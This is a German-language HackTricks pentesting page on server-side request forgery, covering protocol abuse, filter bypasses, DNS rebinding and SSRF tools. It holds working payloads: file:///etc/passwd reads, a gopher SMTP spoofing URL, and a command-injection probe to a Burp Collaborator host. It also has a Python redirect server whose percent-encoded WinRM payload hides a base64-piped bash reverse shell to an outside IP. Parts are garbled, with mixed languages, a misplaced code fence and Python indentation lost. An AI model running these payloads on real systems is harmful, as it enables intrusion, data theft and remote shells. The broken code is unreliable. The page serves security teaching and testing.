hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-02-10 15:36:32 +00:00
..
cloud-ssrf.md Translated to German 2024-02-10 15:36:32 +00:00
README.md Translated to German 2024-02-10 15:36:32 +00:00
ssrf-vulnerable-platforms.md Translated to German 2024-02-10 15:36:32 +00:00
url-format-bypass.md Translated to German 2024-02-10 15:36:32 +00:00

SSRF (Server Side Request Forgery)


Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Lernen Sie das Hacken von AWS von Null bis zum Experten mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Eine Server-seitige Request Forgery (SSRF)-Schwachstelle tritt auf, wenn ein Angreifer eine serverseitige Anwendung manipuliert, um HTTP-Anfragen an eine Domain seiner Wahl zu senden. Diese Schwachstelle ermöglicht es dem Angreifer, den Server externen Anfragen auszusetzen.

Erfassen von SSRF

Das erste, was Sie tun müssen, ist, eine von Ihnen generierte SSRF-Interaktion zu erfassen. Um eine HTTP- oder DNS-Interaktion zu erfassen, können Sie Tools wie folgt verwenden:

Umgehung von whitelisteten Domains

Normalerweise stellen Sie fest, dass SSRF nur in bestimmten whitelisteten Domains oder URLs funktioniert. Auf der folgenden Seite finden Sie eine Zusammenstellung von Techniken, um diese Whitelist zu umgehen:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Umgehung über Open Redirect

Wenn der Server ordnungsgemäß geschützt ist, können Sie alle Einschränkungen umgehen, indem Sie einen Open Redirect in der Webseite ausnutzen. Da die Webseite SSRF zur gleichen Domain zulässt und wahrscheinlich Weiterleitungen folgt, können Sie den Open Redirect ausnutzen, um den Server auf interne Ressourcen zugreifen zu lassen.
Lesen Sie hier mehr: https://portswigger.net/web-security/ssrf

Protokolle

  • file://

  • Das URL-Schema file:// wird verwendet, um direkt auf /etc/passwd zu verweisen: file:///etc/passwd

  • dict://

  • Das DICT-URL-Schema wird beschrieben, um über das DICT-Protokoll auf Definitionen oder Wortlisten zuzugreifen. Ein Beispiel zeigt eine konstruierte URL, die auf ein bestimmtes Wort, eine Datenbank und eine Eintragsnummer abzielt, sowie eine potenzielle Missbrauchsmöglichkeit eines PHP-Skripts, um eine Verbindung zu einem DICT-Server unter Verwendung von vom Angreifer bereitgestellten Anmeldeinformationen herzustellen: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • Als Protokoll für sicheren Dateitransfer über Secure Shell identifiziert, wird ein Beispiel gezeigt, wie ein PHP-Skript ausgenutzt werden könnte, um eine Verbindung zu einem bösartigen SFTP-Server herzustellen: url=sftp://generic.com:11111/

  • TFTP://

  • Das Trivial File Transfer Protocol, das über UDP arbeitet, wird mit einem Beispiel eines PHP-Skripts erwähnt, das eine Anfrage an einen TFTP-Server senden soll. Eine TFTP-Anfrage wird an 'generic.com' auf Port '12346' für die Datei 'TESTUDPPACKET' gesendet: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • Dieser Abschnitt behandelt das Lightweight Directory Access Protocol und betont dessen Verwendung zur Verwaltung und zum Zugriff auf verteilte Verzeichnisdienste über IP-Netzwerke. Interagieren Sie mit einem LDAP-Server auf localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • Es wird eine Methode beschrieben, wie SSRF-Schwachstellen ausgenutzt werden können, um mit SMTP-Diensten auf localhost zu interagieren, einschließlich Schritten zur Offenlegung interner Domänennamen und weiterer Untersuchungsmaßnahmen basierend auf diesen Informationen.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL-Globbing - WAF-Umgehung
  • Wenn SSRF von curl ausgeführt wird, verfügt curl über eine Funktion namens URL-Globbing, die nützlich sein könnte, um WAFs zu umgehen. In diesem Writeup finden Sie zum Beispiel ein Beispiel für eine Pfadtraversierung über das file-Protokoll:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Kommunikation mit dem Server anzugeben, wird erläutert. Es werden auch Tools wie Gopherus und remote-method-guesser zur Erstellung von Payloads besprochen. Zwei verschiedene Verwendungszwecke werden dargestellt:

Gopher://

Mit diesem Protokoll können Sie die IP, Port und Bytes angeben, die Sie vom Server senden möchten. Anschließend können Sie im Grunde genommen eine SSRF ausnutzen, um mit jedem TCP-Server zu kommunizieren (Sie müssen jedoch wissen, wie Sie mit dem Dienst sprechen können).
Glücklicherweise können Sie Gopherus verwenden, um Payloads für verschiedene Dienste zu erstellen. Darüber hinaus kann remote-method-guesser verwendet werden, um Gopher-Payloads für Java RMI-Dienste zu erstellen.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

Gopher HTTP is a technique used in Server-Side Request Forgery (SSRF) attacks. It involves exploiting the Gopher protocol to make HTTP requests from the vulnerable server to arbitrary destinations.

The Gopher protocol is a simple protocol used for retrieving and displaying documents over the Internet. It operates on port 70 and uses a hierarchical structure similar to URLs. By crafting a Gopher URL with an HTTP request as the payload, an attacker can trick the server into making unintended HTTP requests.

To perform a Gopher HTTP attack, an attacker needs to identify a vulnerable parameter that accepts URLs and is susceptible to SSRF. They can then construct a Gopher URL with the desired HTTP request as the payload. The Gopher URL is then passed as a parameter to the vulnerable application, which will make the unintended HTTP request.

This technique can be used to bypass network restrictions, access internal resources, or perform reconnaissance on other systems. It is important for developers to validate and sanitize user-supplied URLs to prevent SSRF attacks using Gopher HTTP.

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP - Verbindung zu 1337 herstellen

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

SSRF über den Referrer-Header und andere

Analyse-Software auf Servern protokolliert oft den Referrer-Header, um eingehende Links zu verfolgen. Diese Praxis kann jedoch dazu führen, dass Anwendungen anfällig für Server-seitige Anfragenfälschung (SSRF) werden. Dies liegt daran, dass solche Software externe URLs besuchen kann, die im Referrer-Header erwähnt werden, um den Inhalt der verweisenden Website zu analysieren. Um diese Schwachstellen aufzudecken, wird das Burp Suite-Plugin "Collaborator Everywhere" empfohlen, das die Art und Weise nutzt, wie Analysetools den Referer-Header verarbeiten, um potenzielle SSRF-Angriffsflächen zu identifizieren.

SSRF über SNI-Daten aus dem Zertifikat

Eine Fehlkonfiguration, die die Verbindung zu jedem Backend über eine einfache Einrichtung ermöglichen könnte, wird anhand einer Beispiel-Nginx-Konfiguration veranschaulicht:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

In dieser Konfiguration wird der Wert aus dem Server Name Indication (SNI) Feld direkt als Adresse des Backends verwendet. Diese Einrichtung macht anfällig für Server-Side Request Forgery (SSRF), die ausgenutzt werden kann, indem einfach die gewünschte IP-Adresse oder der Domainname im SNI-Feld angegeben wird. Ein Beispiel für eine Ausnutzung, um eine Verbindung zu einem beliebigen Backend wie internal.host.com mit dem openssl Befehl zu erzwingen, wird unten gegeben:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget-Datei-Upload

SSRF mit Befehlseinschleusung

Es könnte sich lohnen, eine Payload wie diese auszuprobieren: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendern

Wenn die Webseite automatisch ein PDF mit den von Ihnen bereitgestellten Informationen erstellt, können Sie JS einfügen, das vom PDF-Ersteller selbst (dem Server) ausgeführt wird, während das PDF erstellt wird, und Sie können eine SSRF ausnutzen. Hier finden Sie weitere Informationen.

Von SSRF zu DoS

Erstellen Sie mehrere Sitzungen und versuchen Sie, schwere Dateien herunterzuladen, indem Sie die SSRF aus den Sitzungen ausnutzen.

SSRF PHP-Funktionen

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF-Umleitung zu Gopher

Für einige Exploits müssen Sie möglicherweise eine Umleitungsantwort senden (möglicherweise um ein anderes Protokoll wie Gopher zu verwenden). Hier finden Sie verschiedene Python-Codes, um mit einer Umleitung zu antworten:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)

self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
```python
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

DNS Rebidding CORS/SOP-Bypass

Wenn Sie aufgrund von CORS/SOP Probleme haben, Inhalte von einer lokalen IP-Adresse zu exfiltrieren, kann DNS Rebidding verwendet werden, um diese Einschränkung zu umgehen:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

Automatisiertes DNS Rebidding

Singularity of Origin ist ein Tool zur Durchführung von DNS-Rebinding-Angriffen. Es enthält die erforderlichen Komponenten, um die IP-Adresse des Angriffsservers DNS-Namens auf die IP-Adresse der Zielmaschine umzuleiten und Angriffspayloads bereitzustellen, um verwundbare Software auf der Zielmaschine auszunutzen.

Schauen Sie sich auch den öffentlich laufenden Server an unter http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session Ticket

Anforderungen:

  • SSRF
  • Ausgehende TLS-Sitzungen
  • Dinge auf lokalen Ports

Angriff:

  1. Fordern Sie den Benutzer/Bot auf, eine von dem Angreifer kontrollierte Domain zu besuchen
  2. Die TTL des DNS beträgt 0 Sekunden (damit das Opfer die IP der Domain bald erneut überprüft)
  3. Es wird eine TLS-Verbindung zwischen dem Opfer und der Domain des Angreifers hergestellt. Der Angreifer fügt die Payload in die Session-ID oder das Session-Ticket ein.
  4. Die Domain startet eine unendliche Schleife von Weiterleitungen gegen sich selbst. Das Ziel dabei ist es, den Benutzer/Bot dazu zu bringen, die Domain zu besuchen, bis er erneut eine DNS-Anfrage an die Domain stellt.
  5. In der DNS-Anfrage wird jetzt eine private IP-Adresse angegeben (z. B. 127.0.0.1)
  6. Der Benutzer/Bot wird versuchen, die TLS-Verbindung wiederherzustellen, und dazu wird er die Session-ID/Ticket-ID senden (in der die Payload des Angreifers enthalten war). Herzlichen Glückwunsch, Sie haben es geschafft, den Benutzer/Bot dazu zu bringen, sich selbst anzugreifen.

Beachten Sie, dass Sie während dieses Angriffs, wenn Sie localhost:11211 (Memcache) angreifen möchten, das Opfer dazu bringen müssen, die initiale Verbindung mit www.attacker.com:11211 herzustellen (der Port muss immer gleich sein).
Um diesen Angriff durchzuführen, können Sie das Tool verwenden: https://github.com/jmdx/TLS-poison/
Für weitere Informationen schauen Sie sich den Vortrag an, in dem dieser Angriff erklärt wird: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Der Unterschied zwischen einem blinden SSRF und einem nicht blinden besteht darin, dass bei einem blinden SSRF die Antwort der SSRF-Anfrage nicht sichtbar ist. Daher ist es schwieriger zu nutzen, da nur bekannte Schwachstellen ausgenutzt werden können.

Zeitbasiertes SSRF

Durch Überprüfen der Zeit der Antworten vom Server kann möglicherweise festgestellt werden, ob eine Ressource vorhanden ist oder nicht (vielleicht dauert der Zugriff auf eine vorhandene Ressource länger als der Zugriff auf eine nicht vorhandene).

Cloud-SSRF-Exploitation

Wenn Sie eine SSRF-Schwachstelle in einer Maschine finden, die in einer Cloud-Umgebung läuft, können Sie interessante Informationen über die Cloud-Umgebung und sogar Anmeldeinformationen erhalten:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Plattformen mit SSRF-Schwachstellen

Mehrere bekannte Plattformen enthalten oder enthielten SSRF-Schwachstellen. Überprüfen Sie sie unter:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Tools

SSRFMap

Tool zur Erkennung und Ausnutzung von SSRF-Schwachstellen

Gopherus

Dieses Tool generiert Gopher-Payloads für:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser ist ein Java RMI-Schwachstellenscanner, der Angriffsoperationen für die häufigsten Java RMI-Schwachstellen unterstützt. Die meisten verfügbaren Operationen unterstützen die Option --ssrf, um eine SSRF-Payload für die angeforderte Operation zu generieren. Zusammen mit der Option --gopher können direkt einsatzbereite Gopher-Payloads generiert werden.

SSRF Proxy

SSRF Proxy ist ein mehrfädiger HTTP-Proxy-Server, der den Client-HTTP-Verkehr durch HTTP-Server tunneln kann, die anfällig für Server-seitige Anfragenfälschung (SSRF) sind.

Zum Üben

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Referenzen

Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: